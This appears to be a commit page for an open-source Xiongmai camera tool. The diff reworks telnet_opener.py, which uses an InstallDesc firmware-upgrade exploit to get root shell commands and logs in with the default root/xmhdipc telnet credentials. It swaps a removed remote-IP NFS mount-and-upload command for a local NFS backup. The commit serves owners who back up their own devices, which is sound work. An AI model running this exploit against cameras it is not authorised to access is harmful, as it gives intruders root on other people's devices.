Browse Source

telnet_opener: replace dead cloud backup with local NFS+ipctool flow

The old `-b/--backup` mounted a now-defunct NFS share at 95.217.179.189
and ran `ipctool -w` (the silent S3-upload mode disabled per
OpenIPC/ipctool#78). Both pieces are gone. The new flow telnets in as
root/xmhdipc, mounts a user-supplied NFS share, and runs
`ipctool backup /utils/backup-<MAC>` so the dump stays on the user's
network.

Also fall back to the XMV4 SupportFlashType list when the camera's
SWVER is unknown — without this, older firmware (e.g. 50H20L /
00031520) rejects the InstallDesc payload entirely.
pull/4/head
Dmitry Ilyin 1 month ago
parent
commit
ec4b973acf
  1. 43
      README.md
  2. 103
      telnet_opener.py

43
README.md

@ -619,6 +619,49 @@ print(cam.get_upgrade_info())
cam.upgrade("General_HZXM_IPC_HI3516CV300_50H20L_AE_S38_V4.03.R12.Nat.OnvifS.HIK.20181126_ALL.bin") cam.upgrade("General_HZXM_IPC_HI3516CV300_50H20L_AE_S38_V4.03.R12.Nat.OnvifS.HIK.20181126_ALL.bin")
``` ```
## Enable telnet & ipctool backup
`telnet_opener.py` uses the `OPSystemUpgrade` / `InstallDesc` exploit on
Xiongmai cameras to run shell commands as root, with no firmware change.
```sh
# 1. Enable telnet on port 23 (camera reboots once).
python3 telnet_opener.py 10.0.0.10
# 2. Open a non-persistent shell on port 4321 (no reboot).
python3 telnet_opener.py 10.0.0.10 -t
# 3. Make a full hardware backup with ipctool, written to your NFS share.
python3 telnet_opener.py 10.0.0.10 -b --nfs 10.0.0.1:/srv/ipctool
```
Default telnet credentials on Xiongmai stock firmware are `root` / `xmhdipc`.
`-b/--backup` requires that telnet is already enabled (step 1) and that you
export an NFS share containing the [`ipctool`][ipctool] ARM32 binary. The
script telnets in, mounts your share at `/utils`, runs
`ipctool backup /utils/backup-<MAC>`, and unmounts. The resulting
`backup-<MAC>` file lives on your NFS server — nothing is uploaded to a
third party.
Minimal NFS server setup on the host machine:
```sh
# /etc/exports
/srv/ipctool 10.0.0.0/8(rw,no_root_squash,no_subtree_check,insecure)
```
```sh
sudo cp ipctool /srv/ipctool/
sudo exportfs -arv
```
This replaces the previous cloud-upload flow that was disabled per
[OpenIPC/ipctool#78][issue78] — backups now stay on your network.
[ipctool]: https://github.com/OpenIPC/ipctool
[issue78]: https://github.com/OpenIPC/ipctool/issues/78
## Monitor Script ## Monitor Script
This script will persistently attempt to connect to camera at `CAMERA_IP`, will create a directory named `CAMERA_NAME` in `FILE_PATH` and start writing separate video and audio streams in files chunked in 10-minute clips, arranged in folders structured as `%Y/%m/%d`. It will also log what it does. This script will persistently attempt to connect to camera at `CAMERA_IP`, will create a directory named `CAMERA_NAME` in `FILE_PATH` and start writing separate video and audio streams in files chunked in 10-minute clips, arranged in folders structured as `%Y/%m/%d`. It will also log what it does.

103
telnet_opener.py

@ -1,11 +1,11 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
from dvrip import DVRIPCam from dvrip import DVRIPCam
from telnetlib import Telnet
import argparse import argparse
import datetime import datetime
import json import json
import os import os
import re
import socket import socket
import time import time
import requests import requests
@ -63,14 +63,8 @@ conf = {
def add_flashes(desc, swver): def add_flashes(desc, swver):
board = conf.get(swver) board = conf.get(swver, XMV4)
if board is None: desc["SupportFlashType"] = [{"FlashID": fid} for fid in board["flashes"]]
return
fls = []
for i in board["flashes"]:
fls.append({"FlashID": i})
desc["SupportFlashType"] = fls
def get_envtool(swver): def get_envtool(swver):
@ -112,14 +106,63 @@ def cmd_telnetd(port):
} }
def cmd_backup(): def _read_until(sock, token, timeout):
return [ deadline = time.monotonic() + timeout
{ buf = bytearray()
"Command": "Shell", sock.settimeout(0.5)
"Script": "mount -o nolock 95.217.179.189:/srv/ro /utils/", while time.monotonic() < deadline:
}, try:
{"Command": "Shell", "Script": "/utils/ipctool -w"}, chunk = sock.recv(4096)
] except socket.timeout:
if token in buf:
break
continue
if not chunk:
break
buf.extend(chunk)
if token in buf:
break
return bytes(buf)
def do_backup_via_telnet(host_ip, nfs_share, mount_point="/utils"):
if not check_port(host_ip, 23):
print(f"Telnet (port 23) is not open on {host_ip}.")
print("Enable it first by running: "
f"python3 telnet_opener.py {host_ip}")
return
print(f"Connecting to {host_ip}:23 as root/xmhdipc")
s = socket.create_connection((host_ip, 23), timeout=10)
_read_until(s, b"login:", 5)
s.sendall(b"root\n")
_read_until(s, b"assword:", 5)
s.sendall(b"xmhdipc\n")
_read_until(s, b"# ", 5)
s.sendall(f"mkdir -p {mount_point}\n".encode())
_read_until(s, b"# ", 5)
s.sendall(f"mount -o nolock {nfs_share} {mount_point}\n".encode())
out = _read_until(s, b"# ", 10).decode(errors="replace")
print(out.strip())
s.sendall(b"cat /sys/class/net/eth0/address\n")
out = _read_until(s, b"# ", 5).decode(errors="replace")
m = re.search(r"([0-9a-f]{2}(?::[0-9a-f]{2}){5})", out.lower())
mac = m.group(1) if m else "unknown"
backup_path = f"{mount_point}/backup-{mac}"
print(f"Running ipctool backup -> {backup_path}")
s.sendall(f"{mount_point}/ipctool backup {backup_path}\n".encode())
out = _read_until(s, b"# ", 120).decode(errors="replace")
print(out.strip())
s.sendall(f"umount {mount_point}\n".encode())
_read_until(s, b"# ", 5)
s.sendall(b"exit\n")
s.close()
print(f"Done. Backup file is at {nfs_share.rstrip('/')}/backup-{mac} "
"on your NFS server.")
def downgrade_old_version(cam, buildtime, swver): def downgrade_old_version(cam, buildtime, swver):
@ -158,9 +201,18 @@ def downgrade_old_version(cam, buildtime, swver):
def open_telnet(host_ip, port, **kwargs): def open_telnet(host_ip, port, **kwargs):
make_telnet = kwargs.get("telnet", False) make_telnet = kwargs.get("telnet", False)
make_backup = kwargs.get("backup", False) make_backup = kwargs.get("backup", False)
nfs_share = kwargs.get("nfs")
user = kwargs.get("username", "admin") user = kwargs.get("username", "admin")
password = kwargs.get("password", "") password = kwargs.get("password", "")
if make_backup:
if not nfs_share:
print("--backup requires --nfs HOST:/exported/path "
"(NFS share with ipctool, where the backup will be written)")
return
do_backup_via_telnet(host_ip, nfs_share)
return
cam = DVRIPCam(host_ip, user=user, password=password) cam = DVRIPCam(host_ip, user=user, password=password)
if not cam.login(): if not cam.login():
print(f"Cannot connect {host_ip}") print(f"Cannot connect {host_ip}")
@ -186,8 +238,6 @@ def open_telnet(host_ip, port, **kwargs):
upcmd = [] upcmd = []
if make_telnet: if make_telnet:
upcmd.append(cmd_telnetd(port)) upcmd.append(cmd_telnetd(port))
elif make_backup:
upcmd = cmd_backup()
else: else:
upcmd.append(cmd_armebenv(swver)) upcmd.append(cmd_armebenv(swver))
desc["UpgradeCommand"] = upcmd desc["UpgradeCommand"] = upcmd
@ -199,10 +249,6 @@ def open_telnet(host_ip, port, **kwargs):
cam.close() cam.close()
os.remove(zipfname) os.remove(zipfname)
if make_backup:
print("Check backup")
return
if not make_telnet: if not make_telnet:
port = 23 port = 23
print("Waiting for camera is rebooting...") print("Waiting for camera is rebooting...")
@ -228,7 +274,11 @@ def main():
"-p", "--password", default="", help="Password for camera login" "-p", "--password", default="", help="Password for camera login"
) )
parser.add_argument( parser.add_argument(
"-b", "--backup", action="store_true", help="Make backup to the cloud" "-b",
"--backup",
action="store_true",
help="Telnet in (root/xmhdipc), mount NFS, run ipctool backup "
"(requires --nfs and telnet already enabled on the camera)",
) )
parser.add_argument( parser.add_argument(
"-t", "-t",
@ -236,6 +286,11 @@ def main():
action="store_true", action="store_true",
help="Open telnet port without rebooting camera", help="Open telnet port without rebooting camera",
) )
parser.add_argument(
"--nfs",
help="NFS share for --backup, e.g. 10.0.0.1:/srv/ipctool. "
"Must contain the ipctool binary; backup-<MAC> is written here.",
)
args = parser.parse_args() args = parser.parse_args()
open_telnet(args.hostname, TELNET_PORT, **vars(args)) open_telnet(args.hostname, TELNET_PORT, **vars(args))

Loading…
Cancel
Save